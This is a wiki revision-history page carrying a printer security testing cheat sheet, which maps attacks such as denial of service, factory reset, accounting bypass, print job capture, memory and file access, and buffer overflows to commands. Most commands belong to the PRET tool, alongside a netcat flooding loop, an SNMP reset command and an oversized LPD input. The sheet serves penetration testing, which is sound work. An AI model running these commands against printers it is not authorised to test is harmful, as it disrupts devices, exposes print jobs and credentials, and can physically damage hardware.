Printer Security Testing Cheat Sheet - Revision history

Admin at 17:48, 2 July 2017

2017-07-02T17:48:50Z

Admin at 17:27, 28 January 2017

2017-01-28T17:27:31Z

Admin at 13:42, 23 January 2017

2017-01-23T13:42:57Z

Admin: Created page with "{| class="wikitable" |- ! Category !! Attack !! Protocol !! Testing |- | rowspan="5" | Denial of service | Transmission channel || TCP || `while true; do nc pr..."`


2017-01-23T13:33:14Z
Created page with "{| class="wikitable" |- ! Category !! Attack !! Protocol !! Testing |- | rowspan="5" | Denial of service | Transmission channel    || TCP || <code>while true; do nc pr..."
New page
{| class="wikitable"

|-

! Category !! Attack !! Protocol !! Testing

|-

| rowspan="5" | [[Denial of service]]

| [[Transmission channel]]    || TCP || <code>while true; do nc printer 9100; done</code>

|-

| rowspan="2" | [[Document processing]]

| [[PostScript|PS]]

|| [[PRET]] commands: <code>disable</code>, <code>hang</code>

|-

| [[PJL]]

|| [[PRET]] commands: <code>disable</code>, <code>offline</code>

|-

| rowspan="2" | [[Physical damage]]

| [[PostScript|PS]]

|| [[PRET]] command: <code>destroy</code>

|-

| [[PJL]]

|| [[PRET]] command: <code>destroy</code>

|-

| rowspan="8" | [[Privilege escalation]]

| rowspan="3" | [[Factory defaults]]

| [[SNMP]]

|| <code>snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6</code>

|-

| [[PML]]

|| [[PRET]] command: <code>reset</code>

|-

| [[PostScript|PS]]

|| [[PRET]] command: <code>reset</code>

|-

| rowspan="4" | [[Accounting bypass]]

| TCP

|| Connect to printer directly, bypassing the print server

|-

| [[IPP]]

|| Check if you can set a username without authentication

|-

| [[PostScript|PS]]

|| Check if PostScript code is preprocessed on print server

|-

| [[PJL]]

|| [[PRET]] command: <code>pagecount</code>

|-

| [[Fax and Scanner]]         || multiple || Install printer driver and (ab)use fax/scan functionality

|-

| rowspan="2" | [[Print job access]]

| [[Print job retention]]     || [[PostScript|PS]] || [[PRET]] command: <code>capture</code>

|-

| [[Print job manipulation]]  || [[PostScript|PS]] || [[PRET]] commands: <code>cross</code>, <code>overlay</code>, <code>replace</code>

|-

| rowspan="5" | [[Information disclosure]]

| [[Memory access]]           || [[PJL]] || [[PRET]] command: <code>nvram dump</code>

|-

| rowspan="2" | [[File system access]]

| [[PostScript|PS]]

|| [[PRET]] commands: <code>ls</code>, <code>get</code>, <code>put</code>, …

|-

| [[PJL]]

|| [[PRET]] commands: <code>ls</code>, <code>get</code>, <code>put</code>, …

|-

| rowspan="2" | [[Credential disclosure]]

| [[PostScript|PS]]

|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>

|-

| [[PJL]]

|| [[PRET]] commands: <code>lock</code>, <code>unlock</code>

|-

| rowspan="4" | [[Code execution]]

| rowspan="2" | [[Buffer overflows]]

| [[PJL]]

|| [[PRET]] command: <code>flood</code>

|-

| [[LPD]]

|| <code>./lpdtest.py printer in "`python -c 'print "x"*3000'`"</code>

|-

| [[Firmware updates]]        || [[PJL]] || Flip a bit, check if the modified firmware is still accepted

|-

| [[Software packages]]       || multiple || Obtain an SDK and write your own proof-of-concept application

|-

|}

← Older revision		Revision as of 17:27, 28 January 2017
Line 1:		Line 1:
	To systematically check for vulnerabilities in a printing device, first perform a generic network [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html assessment] and check for printer-specifc web based information leaks using [[Praeda]]. Then, use the following cheat sheet to quickly find flaws in [[Fundamentals#Printer Control Languages\|printer languages]] and [[Fundamentals#Network printing protocols\|network protocols]].		To systematically check for vulnerabilities in a printing device, first perform a generic network [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html assessment] and check for printer-specifc web based information leaks using [[Praeda]]. Then, use the following cheat sheet to quickly find flaws in [[Fundamentals#Printer Control Languages\|printer languages]] and [[Fundamentals#Network printing protocols\|network protocols]].
−

	{\| class="wikitable"		{\| class="wikitable"

← Older revision		Revision as of 13:42, 23 January 2017
Line 1:		Line 1:
		+	To systematically check for vulnerabilities in a printing device, first perform a generic network [http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html assessment] and check for printer-specifc web based information leaks using [[Praeda]]. Then, use the following cheat sheet to quickly find flaws in [[Fundamentals#Printer Control Languages\|printer languages]] and [[Fundamentals#Network printing protocols\|network protocols]].
		+
		+
	{\| class="wikitable"		{\| class="wikitable"
	\|-		\|-

Printer Security Testing Cheat Sheet - Revision history

Admin at 17:48, 2 July 2017

Admin at 17:27, 28 January 2017

Admin at 13:42, 23 January 2017

Admin: Created page with "{| class="wikitable" |- ! Category !! Attack !! Protocol !! Testing |- | rowspan="5" | Denial of service | Transmission channel || TCP || while true; do nc pr..."

Admin: Created page with "{| class="wikitable" |- ! Category !! Attack !! Protocol !! Testing |- | rowspan="5" | Denial of service | Transmission channel || TCP || `while true; do nc pr..."`